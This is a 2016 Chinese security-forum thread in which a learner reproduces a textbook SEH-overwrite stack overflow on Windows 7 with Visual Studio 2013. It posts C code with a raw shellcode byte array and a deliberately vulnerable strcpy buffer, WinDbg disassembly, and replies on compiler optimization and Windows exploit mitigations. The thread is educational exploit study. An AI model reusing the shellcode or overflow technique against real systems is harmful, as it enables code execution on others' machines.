首页
社区
课程
招聘
[求助]visual studio 2013里编译的问题(异常语句没被编译)
发表于: 2016-7-20 14:28 4719

[求助]visual studio 2013里编译的问题(异常语句没被编译)

2016-7-20 14:28
4719
调试《0day 安全软件漏洞分析技术》,第6章内存攻击技术里面的利用异常的攻击(栈攻击),我使用的环境为:win7 ,visual studio 2013(与书里的不同),使用的代码如下:

#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x64\xfe\x12\x00";  //win7 vs2013    release address of shellcode

DWORD	MyExceptionhandler(void)
{
	printf("got an exception, press Enter to kill process!\n");
	getchar();
	ExitProcess(1);
}

void test(char *input)
{
	char buf[200];
	int zero = 0;

	__asm int 3;

	__try
	{
		strcpy(buf, input);

		zero = 4 / zero;
	}
	__except(MyExceptionhandler())
	{

	}
	
	return 0;	
}

main()
{
	test(shellcode);
}


编译成release版后,运行,在 __asm int 3 处中断并调用 windbg 进行调试。在进入 windbg 界面后,我先反汇编 test(),结果如下:

0:000> uf test
   58 010c1000 55              push    ebp
   58 010c1001 8bec            mov     ebp,esp
   58 010c1003 6afe            push    0FFFFFFFEh
   58 010c1005 68e0210c01      push    offset p1!__rtc_tzz+0x4 (010c21e0)
   58 010c100a 6889180c01      push    offset p1!_except_handler4 (010c1889)
   58 010c100f 64a100000000    mov     eax,dword ptr fs:[00000000h]
   58 010c1015 50              push    eax
   58 010c1016 81ecd4000000    sub     esp,0D4h
   58 010c101c a100300c01      mov     eax,dword ptr [p1!__security_cookie (010c3000)]
   58 010c1021 3145f8          xor     dword ptr [ebp-8],eax
   58 010c1024 33c5            xor     eax,ebp
   58 010c1026 8945e4          mov     dword ptr [ebp-1Ch],eax
   58 010c1029 53              push    ebx
   58 010c102a 56              push    esi
   58 010c102b 57              push    edi
   58 010c102c 50              push    eax
   58 010c102d 8d45f0          lea     eax,[ebp-10h]
   58 010c1030 64a300000000    mov     dword ptr fs:[00000000h],eax
   58 010c1036 8965e8          mov     dword ptr [ebp-18h],esp
   62 010c1039 cc              int     3
   64 010c103a c745fc00000000  mov     dword ptr [ebp-4],0
   66 010c1041 33c9            xor     ecx,ecx
   66 010c1043 eb0b            jmp     p1!test+0x50 (010c1050)
[COLOR="Blue"]   66 010c1050 8a8120300c01    mov     al,byte ptr p1!shellcode (010c3020)[ecx]
   66 010c1056 88840d1cffffff  mov     byte ptr [ebp+ecx-0E4h],al
   66 010c105d 8d4901          lea     ecx,[ecx+1]
   66 010c1060 84c0            test    al,al
   66 010c1062 75ec            jne     p1!test+0x50 (010c1050)[/COLOR]
   69 010c1064 eb20            jmp     p1!test+0x86 (010c1086)
   73 010c1086 c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh
   75 010c108d 33c0            xor     eax,eax
   76 010c108f 8b4df0          mov     ecx,dword ptr [ebp-10h]
   76 010c1092 64890d00000000  mov     dword ptr fs:[0],ecx
   76 010c1099 59              pop     ecx
   76 010c109a 5f              pop     edi
   76 010c109b 5e              pop     esi
   76 010c109c 5b              pop     ebx
   76 010c109d 8b4de4          mov     ecx,dword ptr [ebp-1Ch]
   76 010c10a0 33cd            xor     ecx,ebp
   76 010c10a2 e811000000      call    p1!__security_check_cookie (010c10b8)
   76 010c10a7 8be5            mov     esp,ebp
   76 010c10a9 5d              pop     ebp
   76 010c10aa c3              ret


分析:
1、上面蓝色部分应该就是 strcpy() 的部分。
2、但没有了 zero = 4 / zero 的部分。

我在windbg里单步执行,在执行完 strcpy() 后,确实没执行 zero = 4 / zero 这句。这是为何?

附上(exe文件):
p1.exe.zip

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (10)
雪    币: 8
活跃值: (60)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
int zero = 0; // 这里初始化为0

  __asm int 3;

  __try
  {
    strcpy(buf, input);

    zero = 4 / zero; // 这里在除以0,解决得编译器会怎么处理???
  }
2016-7-20 14:46
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
??什么意思?没看懂........
2016-7-20 15:03
0
雪    币: 3144
活跃值: (2646)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
被优化掉了,禁止优化试试
2016-7-20 15:09
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
能详细点吗?禁止哪些优化?

此外,我自己并没手动设置任何优化选项......
2016-7-20 15:23
0
雪    币: 4571
活跃值: (5896)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
项目设置里 或者 #progma optimize("",off)
2016-7-20 15:37
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
7
其实很想跟楼主说一句,你如果是跟着书学习,最好是按书里的编译环境和运行环境来,熟悉了原理之后再来研究在新的系统新的编译器下是怎么回事,这样可以少走弯路
2016-7-20 16:49
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
....................
2016-7-20 17:07
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
楼上,

我其实有建立书上的环境,也已调试出书里的结果。但现实是几乎没人(很少)使用win2000了,至少都是 win7。但win7下书里的代码就是不能出结果(跟作者无关,书里已明确运行环境),而我很想知道原因........
2016-7-20 17:18
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
10
那你至少该了解一下新的系统里面增加了哪些安全机制,DEP、ASLR、SafeSEH、SEHOP、CFG这些你都了解过了吗? 知道它们是怎么回事,有什么影响吗? 这些影响是如何导致你的测试程序没法达到预期效果的?
另外,即使有前人探路,突破这些安全机制也并不是太容易,你没搞定也不是什么丢人的事儿,重在搞清原理。如果你能在自己探索的过程中独立搞定这些问题,那你在这个论坛里也算顶尖的存在了
2016-7-20 17:36
0
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
谢谢,已能看到 idiv 了,具体如下:

0:000> uf test

   61 00401030 55              push    ebp
   61 00401031 8bec            mov     ebp,esp
   61 00401033 6aff            push    0FFFFFFFFh
   61 00401035 68f0214000      push    offset p1!__rtc_tzz+0x4 (004021f0)
   61 0040103a 682c194000      push    offset p1!except_handler3 (0040192c)
   61 0040103f 64a100000000    mov     eax,dword ptr fs:[00000000h]
   61 00401045 50              push    eax
   61 00401046 64892500000000  mov     dword ptr fs:[0],esp
   61 0040104d 81c41cffffff    add     esp,0FFFFFF1Ch
   61 00401053 53              push    ebx
   61 00401054 56              push    esi
   61 00401055 57              push    edi
   61 00401056 8965e8          mov     dword ptr [ebp-18h],esp
   63 00401059 c745d800000000  mov     dword ptr [ebp-28h],0
   65 00401060 cc              int     3
   67 00401061 c745fc00000000  mov     dword ptr [ebp-4],0
   69 00401068 8b4508          mov     eax,dword ptr [ebp+8]
   69 0040106b 8945dc          mov     dword ptr [ebp-24h],eax
   69 0040106e 8d8d0cffffff    lea     ecx,[ebp-0F4h]
   69 00401074 894de0          mov     dword ptr [ebp-20h],ecx
   69 00401077 8b55e0          mov     edx,dword ptr [ebp-20h]
   69 0040107a 8955d4          mov     dword ptr [ebp-2Ch],edx

   [COLOR="Blue"]69 0040107d 8b45dc          mov     eax,dword ptr [ebp-24h]
   69 00401080 8a08            mov     cl,byte ptr [eax]
   69 00401082 884de7          mov     byte ptr [ebp-19h],cl
   69 00401085 8b55e0          mov     edx,dword ptr [ebp-20h]
   69 00401088 8a45e7          mov     al,byte ptr [ebp-19h]
   69 0040108b 8802            mov     byte ptr [edx],al
   69 0040108d 8b4ddc          mov     ecx,dword ptr [ebp-24h]
   69 00401090 83c101          add     ecx,1
   69 00401093 894ddc          mov     dword ptr [ebp-24h],ecx
   69 00401096 8b55e0          mov     edx,dword ptr [ebp-20h]
   69 00401099 83c201          add     edx,1
   69 0040109c 8955e0          mov     dword ptr [ebp-20h],edx
   69 0040109f 807de700        cmp     byte ptr [ebp-19h],0
   69 004010a3 75d8            jne     p1!test+0x4d (0040107d)[/COLOR]

   71 004010a5 b804000000      mov     eax,4
   71 004010aa 99              cdq
   71 004010ab f77dd8          idiv    eax,dword ptr [ebp-28h]
   71 004010ae 8945d8          mov     dword ptr [ebp-28h],eax
   72 004010b1 c745fcffffffff  mov     dword ptr [ebp-4],0FFFFFFFFh
   72 004010b8 eb10            jmp     p1!test+0x9a (004010ca)

   78 004010ca 33c0            xor     eax,eax
   79 004010cc 8b4df0          mov     ecx,dword ptr [ebp-10h]
   79 004010cf 64890d00000000  mov     dword ptr fs:[0],ecx
   79 004010d6 5f              pop     edi
   79 004010d7 5e              pop     esi
   79 004010d8 5b              pop     ebx
   79 004010d9 8be5            mov     esp,ebp
   79 004010db 5d              pop     ebp
   79 004010dc c3              ret


但又碰到另一个问题:蓝色部分是 strcpy() 的部分。但这部分已转换为汇编指令组合(即将strcpy()用“简单汇编指令”编写了)。如果想要恢复原来调用 strcpy() 的样子(下面样子1)该如何?即:

[B][COLOR="Red"]样子1:[/COLOR][/B]
mov eax, [ebp - addr_1]         // 参数2
push eax
mov eax, [ebp - addr_2]        // 参数1
push eax
call addr_strcpy                      // 调用 strcpy函数


补充:
1、事实上如果在linux上使用gdb反编译“类似”的程序,多半是“样子1”的模式(不是 蓝色部分代码)
2、之所以要这样做,是因为buff[] 只有200字节,而“异常回调函数”的位置在228,中间差了28字节。原本这28字节由0x90填充,但单步调试发现“上面蓝色部分代码”利用了这28字节中的一部分(估计是计数器之类,或临时信息存放),最终导致shellcode 不完整。
2016-7-20 18:58
0
游客
登录 | 注册 方可回帖
返回